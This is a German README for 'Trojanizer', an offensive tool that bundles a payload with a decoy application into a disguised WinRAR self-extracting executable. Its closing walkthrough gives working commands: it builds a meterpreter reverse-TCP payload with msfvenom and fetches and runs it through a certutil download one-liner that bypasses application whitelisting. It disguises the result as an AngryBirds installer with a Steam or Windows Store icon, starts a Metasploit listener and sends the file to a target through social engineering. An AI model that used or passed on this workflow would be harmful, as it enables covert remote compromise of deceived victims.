trojanizer

TROJANIZER

Version: v1.1 (Stabil)
Author : pedro ubuntu  [ r00t-3xp10it ]
Codename: Troia_Revisited
Unterstützte Distributionen: Ubuntu, Kali, Mint, Parrot OS
Suspicious-Shell-Activity (SSA) RedTeam entwickelt @2017

FRAMEWORK-BESCHREIBUNG

Das Trojanizer-Tool verwendet WinRAR (SFX), um die beiden vom Benutzer eingegebenen Dateien zu komprimieren,
und wandelt sie in ein SFX-ausführbares (.exe) Archiv um. Das SFX-Archiv führt bei Ausführung
beide Dateien (unseren Payload und die legitime Anwendung gleichzeitig) aus.

Um das Archiv für das Ziel bei der Ausführung weniger verdächtig zu machen, wird Trojanizer
versuchen, das Standard-Icon (.ico) der SFX-Datei durch ein benutzergewähltes zu ersetzen,
und alle SFX-Sandbox-Meldungen unterdrücken (Silent=1 | Overwrite=1).

'Trojanizer wird keine Trojaner erstellen, aber aus Sicht des Ziels verhält es sich wie ein Trojaner'
(führt den Payload im Hintergrund aus, während die legitime Anwendung im Vordergrund ausgeführt wird).

ABHÄNGIGKEITEN (Backend-Anwendungen)

Zenity (bash-GUIs) | Wine (x86|x64) | WinRAr.exe (installiert-in-wine)
"Trojanizer.sh wird alle Abhängigkeiten nach Bedarf herunterladen/installieren"
╔────────────────────────────────────────────────────────────────────────────────────────────╗
|        Es wird empfohlen, die Option SYSTEM_ARCH=[ your_sys_arch ] in der 'settings'-Datei  |
|        zu bearbeiten und zu konfigurieren, bevor Sie das Tool zum ersten Mal ausführen.      |
╚────────────────────────────────────────────────────────────────────────────────────────────╝

AKZEPTIERTE PAYLOADS (Agenten)

.exe | .bat | .vbs | .ps1
"Alle Payloads, die Windows/SFX automatisch extrahieren und ausführen können"

HINWEIS: Wenn in der Settings-Datei 'SINGLE_EXEC=ON' ausgewählt ist,
akzeptiert Trojanizer jede Art von Dateierweiterung.

AKZEPTIERTE LEGITIME ANWENDUNGEN (Köder)

.exe | .bat | .vbs | .ps1 | .jpg | .bmp | .doc | .ppt | usw..
"Alle Anwendungen, die Windows/SFX automatisch extrahieren und ausführen können"

ERWEITERTE EINSTELLUNGEN

╔─────────────────────────────────────────────────────────────────────────────────────────╗
|         Die erweiterten Optionen von Trojanizer sind nur in der 'settings'-Datei zugänglich, |
|       und können nur vor dem Ausführen des Haupttools (Trojanizer.sh) konfiguriert werden.  |
╚─────────────────────────────────────────────────────────────────────────────────────────╝

-- Presetup erweiterte Option
Trojanizer kann so konfiguriert werden, dass vor der Extraktion/Ausführung der beiden komprimierten Dateien (SFX-Archiv) ein Programm + Befehl ausgeführt wird. Dies ermöglicht es Benutzern, vorinstallierte Software zu nutzen, um einen entfernten Befehl auszuführen, bevor die eigentliche Extraktion im Zielsystem stattfindet. Wenn aktiviert, fragt Trojanizer (Zenity-Sandbox) nach dem auszuführenden Befehl

-- Einzeldateiausführung
Betrachten wir folgendes Szenario: Sie haben einen DLL-Payload, der bei Extraktion ausgeführt werden muss, aber SFX-Archive können keine DLL-Dateien direkt ausführen. Diese Einstellung ermöglicht es Benutzern, ein Batch-Skript (.bat) einzugeben, das verwendet wird, um den DLL-Payload auszuführen. Alles, was Trojanizer tun muss, ist das SFX-Archiv anzuweisen, beide Dateien zu extrahieren und dann das Skript.bat auszuführen.

╔────────────────────────────────────────────────────────────────────────────────────────────────╗
|  Das Standardverhalten des Single_file_execution-Schalters besteht darin, die beiden vom Benutzer  |
|  eingegebenen Dateien zu komprimieren, aber nur eine davon bei der Extraktion auszuführen (die 2. |
|  eingegebene Datei wird ausgeführt) ..                                                           |
╚────────────────────────────────────────────────────────────────────────────────────────────────╝

TROJANIZER UND UMGEHUNG DER ANWENDUNGS-WHITELISTING

╔────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╗
|   Eine Menge großartiger Arbeit wurde von vielen Leuten geleistet, insbesondere @subTee, im Bereich der Umgehung   |
|   der Anwendungs-Whitelist, was letztendlich das ist, was wir hier wollen: Ausführen von beliebigem Code unter    |
|   Missbrauch von in Microsoft integrierten Binärdateien.                                                          |
| https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/ |
╚────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╝

Die folgende Übung beschreibt, wie man die erweiterten Schalter 'single_file_execution' und 'Presetup' von Trojanizer
nutzt, um jeden Payload (Remote-Download) mithilfe von 'certutil'- oder 'powershell'-Anwendungs-Whitelisting-
Umgehungs-Onelinern herunterzuladen und auszuführen ..


1° - Verwenden von metasploit, um unseren Payload zu erstellen
     msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.69 LPORT=666 -f exe -o payload.exe

2° - payload.exe in das Apache2-Webroot kopieren und Dienst starten
     cp payload.exe /var/www/html/payload.exe
     service apache2 start

3° - Trojanizer 'settings'-Datei bearbeiten und aktivieren:
     PRE_SETUP=ON
     SINGLE_EXEC=ON

4° - Trojanizer-Tool ausführen
     ZU KOMPRIMIERENDER PAYLOAD => <pfad-zu>/screenshot.png (Es spielt keine Rolle, was Sie komprimieren)
     DIESE DATEI BEI EXTRAKTION AUSFÜHREN => <pfad-zu>/AngryBirds.exe (wird als Köder-Anwendung ausgeführt)
     PRESETUP-SANDBOX => cmd.exe /c certutil -urlcache -split -f http://192.168.1.69/payload.exe %TEMP%\\payload.exe && start %TEMP%\\payload.exe
     SFX-DATEINAME => AngryBirds_installer (der Name des zu erstellenden SFX-Archivs)
     ICON ERSETZEN => Windows-Store.ico ODER Steam-logo.ico

5° - Einen Listener starten und das SFX-Archiv mit Social Engineering an das Ziel senden
     msfconsole -x 'use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost 192.168.1.69; set lport 666; exploit'